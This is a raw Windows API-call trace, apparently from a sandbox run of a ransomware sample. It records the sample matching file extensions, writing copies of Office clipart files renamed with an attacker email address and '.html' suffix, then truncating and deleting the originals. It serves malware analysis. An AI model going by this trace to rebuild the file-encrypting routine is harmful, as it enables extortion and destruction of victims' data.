	[0176.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0176.679] lstrlenW (lpString=".dbf") returned 4
	[0176.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0176.679] lstrlenW (lpString=".1cd") returned 4
	[0176.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0176.680] lstrlenW (lpString=".jpg") returned 4
	[0176.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.680] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0176.680] lstrlenW (lpString="HH00693_.WMF") returned 12
	[0176.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0176.680] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=7098) returned 1
	[0176.680] CloseHandle (hObject=0x538) returned 1
	[0176.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220
	[0176.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0176.681] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.681] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0176.682] GetLastError () returned 0x0
	[0176.682] ReadFile (in: hFile=0x538, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1bba, lpOverlapped=0x0) returned 1
	[0176.683] WriteFile (in: hFile=0x574, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1bc0, lpOverlapped=0x0) returned 1
	[0176.685] ReadFile (in: hFile=0x538, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.685] WriteFile (in: hFile=0x574, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.685] SetEndOfFile (hFile=0x574) returned 1
	[0176.685] CloseHandle (hObject=0x574) returned 1
	[0176.685] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.685] SetEndOfFile (hFile=0x538) returned 1
	[0176.700] CloseHandle (hObject=0x538) returned 1
	[0176.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0176.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1
	[0176.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0176.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0176.874] lstrlenW (lpString=".doc") returned 4
	[0176.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.874] lstrlenW (lpString=".docx") returned 5
	[0176.874] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.875] lstrlenW (lpString=".pdf") returned 4
	[0176.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.875] lstrlenW (lpString=".xls") returned 4
	[0176.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.875] lstrlenW (lpString=".xlsx") returned 5
	[0176.875] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.875] lstrlenW (lpString=".ppt") returned 4
	[0176.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0176.875] lstrlenW (lpString=".zip") returned 4
	[0176.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.875] lstrlenW (lpString=".rar") returned 4
	[0176.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.875] lstrlenW (lpString=".bz2") returned 4
	[0176.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.875] lstrlenW (lpString=".7z") returned 3
	[0176.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0176.875] lstrlenW (lpString=".dbf") returned 4
	[0176.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0176.875] lstrlenW (lpString=".1cd") returned 4
	[0176.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0176.875] lstrlenW (lpString=".jpg") returned 4
	[0176.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0176.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0176.875] lstrlenW (lpString=".doc") returned 4
	[0176.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.875] lstrlenW (lpString=".docx") returned 5
	[0176.875] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.876] lstrlenW (lpString=".pdf") returned 4
	[0176.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.876] lstrlenW (lpString=".xls") returned 4
	[0176.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.876] lstrlenW (lpString=".xlsx") returned 5
	[0176.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.876] lstrlenW (lpString=".ppt") returned 4
	[0176.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0176.876] lstrlenW (lpString=".zip") returned 4
	[0176.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.876] lstrlenW (lpString=".rar") returned 4
	[0176.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.876] lstrlenW (lpString=".bz2") returned 4
	[0176.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.876] lstrlenW (lpString=".7z") returned 3
	[0176.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0176.876] lstrlenW (lpString=".dbf") returned 4
	[0176.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0176.876] lstrlenW (lpString=".1cd") returned 4
	[0176.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0176.876] lstrlenW (lpString=".jpg") returned 4
	[0176.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.876] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0176.877] lstrlenW (lpString="HH01065_.WMF") returned 12
	[0176.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.075] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1268) returned 1
	[0177.075] CloseHandle (hObject=0x4a8) returned 1
	[0177.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220
	[0177.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.082] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.082] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0177.083] GetLastError () returned 0x0
	[0177.083] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x4f4, lpOverlapped=0x0) returned 1
	[0177.085] WriteFile (in: hFile=0x5b8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x500, lpOverlapped=0x0) returned 1
	[0177.086] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.086] WriteFile (in: hFile=0x5b8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.087] SetEndOfFile (hFile=0x5b8) returned 1
	[0177.087] CloseHandle (hObject=0x5b8) returned 1
	[0177.087] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.087] SetEndOfFile (hFile=0x4a8) returned 1
	[0177.089] CloseHandle (hObject=0x4a8) returned 1
	[0177.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0177.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1
	[0177.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0177.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0177.091] lstrlenW (lpString=".doc") returned 4
	[0177.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.091] lstrlenW (lpString=".docx") returned 5
	[0177.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.091] lstrlenW (lpString=".pdf") returned 4
	[0177.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.091] lstrlenW (lpString=".xls") returned 4
	[0177.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.091] lstrlenW (lpString=".xlsx") returned 5
	[0177.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.091] lstrlenW (lpString=".ppt") returned 4
	[0177.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0177.091] lstrlenW (lpString=".zip") returned 4
	[0177.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.091] lstrlenW (lpString=".rar") returned 4
	[0177.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.091] lstrlenW (lpString=".bz2") returned 4
	[0177.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.091] lstrlenW (lpString=".7z") returned 3
	[0177.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0177.091] lstrlenW (lpString=".dbf") returned 4
	[0177.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0177.091] lstrlenW (lpString=".1cd") returned 4
	[0177.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0177.091] lstrlenW (lpString=".jpg") returned 4
	[0177.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0177.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0177.092] lstrlenW (lpString=".doc") returned 4
	[0177.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.092] lstrlenW (lpString=".docx") returned 5
	[0177.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.092] lstrlenW (lpString=".pdf") returned 4
	[0177.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.092] lstrlenW (lpString=".xls") returned 4
	[0177.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.092] lstrlenW (lpString=".xlsx") returned 5
	[0177.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.092] lstrlenW (lpString=".ppt") returned 4
	[0177.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0177.106] lstrlenW (lpString=".zip") returned 4
	[0177.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.107] lstrlenW (lpString=".rar") returned 4
	[0177.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.107] lstrlenW (lpString=".bz2") returned 4
	[0177.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.107] lstrlenW (lpString=".7z") returned 3
	[0177.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0177.107] lstrlenW (lpString=".dbf") returned 4
	[0177.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0177.107] lstrlenW (lpString=".1cd") returned 4
	[0177.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0177.107] lstrlenW (lpString=".jpg") returned 4
	[0177.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.107] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0177.107] lstrlenW (lpString="HH01080_.WMF") returned 12
	[0177.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.108] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=5000) returned 1
	[0177.108] CloseHandle (hObject=0x4a8) returned 1
	[0177.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220
	[0177.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.109] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.109] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0177.110] GetLastError () returned 0x0
	[0177.110] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1388, lpOverlapped=0x0) returned 1
	[0177.113] WriteFile (in: hFile=0x5b8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1390, lpOverlapped=0x0) returned 1
	[0177.114] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.114] WriteFile (in: hFile=0x5b8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.114] SetEndOfFile (hFile=0x5b8) returned 1
	[0177.114] CloseHandle (hObject=0x5b8) returned 1
	[0177.114] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.114] SetEndOfFile (hFile=0x4a8) returned 1
	[0177.117] CloseHandle (hObject=0x4a8) returned 1
	[0177.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0177.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1
	[0177.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0177.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0177.118] lstrlenW (lpString=".doc") returned 4
	[0177.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.118] lstrlenW (lpString=".docx") returned 5
	[0177.118] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.118] lstrlenW (lpString=".pdf") returned 4
	[0177.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.118] lstrlenW (lpString=".xls") returned 4
	[0177.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.118] lstrlenW (lpString=".xlsx") returned 5
	[0177.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.118] lstrlenW (lpString=".ppt") returned 4
	[0177.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0177.118] lstrlenW (lpString=".zip") returned 4
	[0177.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.118] lstrlenW (lpString=".rar") returned 4
	[0177.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.118] lstrlenW (lpString=".bz2") returned 4
	[0177.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.118] lstrlenW (lpString=".7z") returned 3
	[0177.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0177.118] lstrlenW (lpString=".dbf") returned 4
	[0177.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0177.118] lstrlenW (lpString=".1cd") returned 4
	[0177.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0177.118] lstrlenW (lpString=".jpg") returned 4
	[0177.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0177.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0177.119] lstrlenW (lpString=".doc") returned 4
	[0177.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.119] lstrlenW (lpString=".docx") returned 5
	[0177.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.119] lstrlenW (lpString=".pdf") returned 4
	[0177.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.119] lstrlenW (lpString=".xls") returned 4
	[0177.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.119] lstrlenW (lpString=".xlsx") returned 5
	[0177.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.119] lstrlenW (lpString=".ppt") returned 4
	[0177.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0177.119] lstrlenW (lpString=".zip") returned 4
	[0177.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.119] lstrlenW (lpString=".rar") returned 4
	[0177.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.119] lstrlenW (lpString=".bz2") returned 4
	[0177.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.119] lstrlenW (lpString=".7z") returned 3
	[0177.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
